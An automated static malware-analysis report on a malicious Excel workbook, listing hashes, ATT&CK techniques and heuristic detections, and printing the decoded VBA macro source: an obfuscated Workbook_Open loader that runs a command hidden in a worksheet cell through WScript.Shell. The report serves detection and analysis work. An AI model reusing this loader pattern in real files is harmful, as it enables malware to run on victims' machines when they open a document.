Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a103233ba6d03c72…

MALICIOUS

Office (OLE)

94.0 KB Created: 2018-09-06 12:05:04 Authoring application: Microsoft Excel First seen: 2019-11-20
MD5: 1e017dfc1880ac7faf4031d6a7380e82 SHA-1: fc84879a8b2d886cbafc9025336a2193f55b9d85 SHA-256: a103233ba6d03c720499efbb188ec10f94997eda9d5f3e8fd4cb2b17d06ae060
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains heavily obfuscated VBA macros, including a Workbook_Open auto-execution routine. The script utilizes `CreateObject` and `CallByName` to execute arbitrary code, likely downloading and running a second-stage payload. The obfuscation and use of auto-execution macros are common in malware delivery.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 228 bytes
SHA-256: 962aaf1d57f0a7207e98bd37b3a4cfa339dc6a87bd287090a5d69186204feb4a
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Top
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 919 bytes
SHA-256: 8ff89dc02bfc2aaed8b89def512ab761932d2e9cda8273dd82e8543b77a4e596
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function PZ_(ByVal BY_ As String)
Dim P_ As String
Dim XNX_ As Long
For XNX_ = 1 To Len(BY_) Step 2
    P_ = P_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(BY_, XNX_, 2)) - 27)
Next
PZ_ = P_
End Function
Sub Workbook_Open()
CallByName CreateObject(PZ_("726E7E8D848B8F496E83808787")), PZ_("6D9089"), VbMethod, PZ_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
End Sub
Private Function QXLDNU_() As String
ZFQGDADN_(s, 1)BDOPYFW_:For  = 28 To 75:ZWFGCMSYKQ_(aIUMTFD_ & YXCEAJMSD_(34, 4), 11)):Next i:QXLDNU_ = AXQSDCFN_:
End Function

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